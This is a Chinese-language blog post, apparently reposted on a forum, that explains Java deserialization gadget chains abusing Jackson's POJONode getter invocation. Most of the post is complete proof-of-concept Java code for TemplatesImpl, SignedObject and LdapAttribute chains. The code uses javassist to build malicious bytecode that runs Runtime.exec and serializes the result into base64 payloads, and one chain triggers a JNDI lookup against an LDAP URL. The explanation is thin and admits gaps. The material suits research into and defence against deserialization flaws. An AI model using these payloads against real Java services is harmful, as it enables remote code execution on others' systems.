前言
Springboot一般都会自带JackSon这个依靠包,JackSon跟Fastjson有相同的功效
简单复现
- package com.example.jakeson.demo;
- import java.io.IOException;
- import java.io.Serializable;
- public class User implements Serializable {
- public User() {
- }
- public Object getName() throws IOException {
- Runtime.getRuntime().exec("calc");
- return "1";
- }
- public Object setName(String name) {
- System.out.println("setname");
- return "2";
- }
- }
复制代码- package com.example.jakeson.demo;
- import com.fasterxml.jackson.databind.node.POJONode;
- public class JakesonDemo {
- public static void main(String[] args) {
- User user = new User();
- POJONode jsonNodes = new POJONode(user);
- jsonNodes.toString();
- }
- }
复制代码 运行即可弹计算器
Jackson反序列化利用链
注意点
PoJoNode类是继续ValueNode,ValueNode是继续BaseJsonNode类,我们看看BaseJsonNode类
它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,办理办法就是重写BaseJsonNode类
把这个writeReplace解释掉即可
TemplatesImpl链
- package com.example.jakeson.demo;
- import com.fasterxml.jackson.databind.node.POJONode;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import javassist.*;
- import org.springframework.http.HttpEntity;
- import org.springframework.http.HttpHeaders;
- import org.springframework.http.ResponseEntity;
- import org.springframework.web.client.RestTemplate;
- import javax.management.BadAttributeValueExpException;
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.net.URI;
- import java.util.Base64;
- public class TemplatesImplDemo {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field f = obj.getClass().getDeclaredField(fieldName);
- f.setAccessible(true);
- f.set(obj, value);
- }
- public static void main(String[] args) throws Exception {
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
- CtClass ct = pool.makeClass("Cat");
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ct.makeClassInitializer().insertBefore(cmd);
- String randomClassName = "EvilCat" + System.nanoTime();
- ct.setName(randomClassName);
- ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- byte[][] bytes = new byte[][]{ct.toBytecode()};
- Templates templatesImpl = new TemplatesImpl();
- setFieldValue(templatesImpl, "_bytecodes", bytes);
- setFieldValue(templatesImpl, "_name", "a");
- setFieldValue(templatesImpl, "_tfactory", null);
- POJONode pojoNode = new POJONode(templatesImpl);
- BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
- Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
- val.setAccessible(true);
- val.set(exp,pojoNode);
- System.out.println(serial(exp));
- deserial(serial(exp));
- }
- public static String serial(Object o) throws IOException, NoSuchFieldException {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(o);
- oos.close();
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
- }
- public static void deserial(String data) throws Exception {
- byte[] base64decodedBytes = Base64.getDecoder().decode(data);
- ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- ois.close();
- }
- }
复制代码 TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
进入到重写的BaseJsonNode类的toString方法
中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter
SignObject链
二次反序列化,无需多讲- package com.example.jakeson.demo;
- import com.fasterxml.jackson.databind.node.POJONode;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import javassist.ClassClassPath;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javax.management.BadAttributeValueExpException;
- import javax.xml.transform.Templates;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.security.*;
- import java.util.Base64;
- public class SignObjectDemo {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field f = obj.getClass().getDeclaredField(fieldName);
- f.setAccessible(true);
- f.set(obj, value);
- }
- public static void main(String[] args) throws Exception {
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
- CtClass ct = pool.makeClass("Cat");
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ct.makeClassInitializer().insertBefore(cmd);
- String randomClassName = "EvilCat" + System.nanoTime();
- ct.setName(randomClassName);
- ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- byte[][] bytes = new byte[][]{ct.toBytecode()};
- Templates templatesImpl = new TemplatesImpl();
- setFieldValue(templatesImpl, "_bytecodes", bytes);
- setFieldValue(templatesImpl, "_name", "a");
- setFieldValue(templatesImpl, "_tfactory", null);
- POJONode pojoNode = new POJONode(templatesImpl);
- BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
- Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
- val.setAccessible(true);
- val.set(exp,pojoNode);
- KeyPairGenerator keyPairGenerator;
- keyPairGenerator = KeyPairGenerator.getInstance("DSA");
- keyPairGenerator.initialize(1024);
- KeyPair keyPair = keyPairGenerator.genKeyPair();
- PrivateKey privateKey = keyPair.getPrivate();
- Signature signingEngine = Signature.getInstance("DSA");
- SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
- POJONode pojoNode2 = new POJONode(signedObject);
- BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
- Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
- val2.setAccessible(true);
- val2.set(exp2,pojoNode2);
- System.out.println(serial(exp2));
- deserial(serial(exp2));
- }
- public static String serial(Object o) throws IOException, NoSuchFieldException {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(o);
- oos.close();
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
- }
- public static void deserial(String data) throws Exception {
- byte[] base64decodedBytes = Base64.getDecoder().decode(data);
- ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- ois.close();
- }
- }
复制代码 LdapAttribute链
- package com.example.jakeson.demo;
- import com.fasterxml.jackson.databind.node.POJONode;
- import javax.management.BadAttributeValueExpException;
- import javax.naming.CompositeName;
- import java.io.*;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.util.Base64;
- public class LdapAttributeDemo {
- public static void main( String[] args ) throws Exception {
- String ldapCtxUrl = "ldap://127.0.0.1:1099/";
- Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
- Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
- new Class[] {String.class});
- ldapAttributeClazzConstructor.setAccessible(true);
- Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
- new Object[] {"name"});
- Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
- baseCtxUrlField.setAccessible(true);
- baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
- Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
- rdnField.setAccessible(true);
- rdnField.set(ldapAttribute, new CompositeName("a//b"));
- POJONode jsonNodes = new POJONode(ldapAttribute);
- BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
- Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
- val.setAccessible(true);
- val.set(exp,jsonNodes);
- deserial(serial(exp));
- }
- public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(o);
- oos.close();
- String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
- return base64String;
- }
- public static void deserial(String data) throws Exception {
- byte[] base64decodedBytes = Base64.getDecoder().decode(data);
- ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
- ObjectInputStream ois = new ObjectInputStream(bais);
- ois.readObject();
- ois.close();
- }
- private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
- Field f = obj.getClass().getDeclaredField(field);
- f.setAccessible(true);
- f.set(obj, arg);
- }
- }
复制代码 LdapAttribute类中有getter方法调用了lookup
 
两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,详细原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思绪吧
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |